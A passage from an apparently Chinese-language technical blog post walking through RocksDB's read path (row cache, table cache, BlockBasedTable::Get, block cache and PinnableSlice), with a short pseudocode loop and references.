如果 row_cache 打开，首先它会计算 row cache 的 key，再在row cache 中进行一次查找，如果有对应的值则直接返回结果，否则则将会在对应的 SST 读取传递进来的 key。

调用 FindTable，进行对应 table_reader 的读取以及进行 Table cache。

接下来调用 t->Get，从 Block cache 或者 SST 中读取数据。

最后，如果 row_cache 打开，把读取的数据插入到 row cache 中。

BlockBasedTable::Get

1
2
3
4
5
6
7
8
for (iiter->Seek(key); iiter->Valid()&&!done; iiter->Next()) {
    ...
    NewDataBlockIterator(&biter);
    for(; biter.Valid; biter.Next()) {
        ...
        get_context->SaveValue(biter->Value());
    }
}

在 Table Cache 中，假设最终缓存的 table reader 是一个 BlockBasedTable 对象，调用 BlockBasedTable::Get。

首先，根据 Table 的元数据信息（布隆过滤器，数据块Index）查找 SST 内部的 Block。

调用 NewDataBlockIterator，若 Block 在 Block Cache 当中，直接返回对象地址，否则，发生磁盘IO，读取 SST 的 Block，构造 Block 对象并缓存其地址在 Block Cache 中。

找到 key 对应的 value，调用 get_context->SaveValue，直接将 Block 中的数据地址赋给用户传进来的 PinnableSlice* 中，减少了一次数据拷贝，并用引用计数避免 Block 被淘汰值被清除。

回顾

参考

  1. Rocksdb Source Code 6.7.3
  2. Rocksdb Code Analysis Get
  3. MySQL · RocksDB · 数据的读取(二)
  4. 使用PinnableSlice减少Get时的内存拷贝
Folgen

Links

Archive

Tags

CSAPP2
Cache1
Chinese37
Database6
Edge computing3
English5
File System2
Key-Value Store2
KubeEdge9
Learned Index2
RDMA2
Rocksdb3
docker1
etcd1
k8s4
×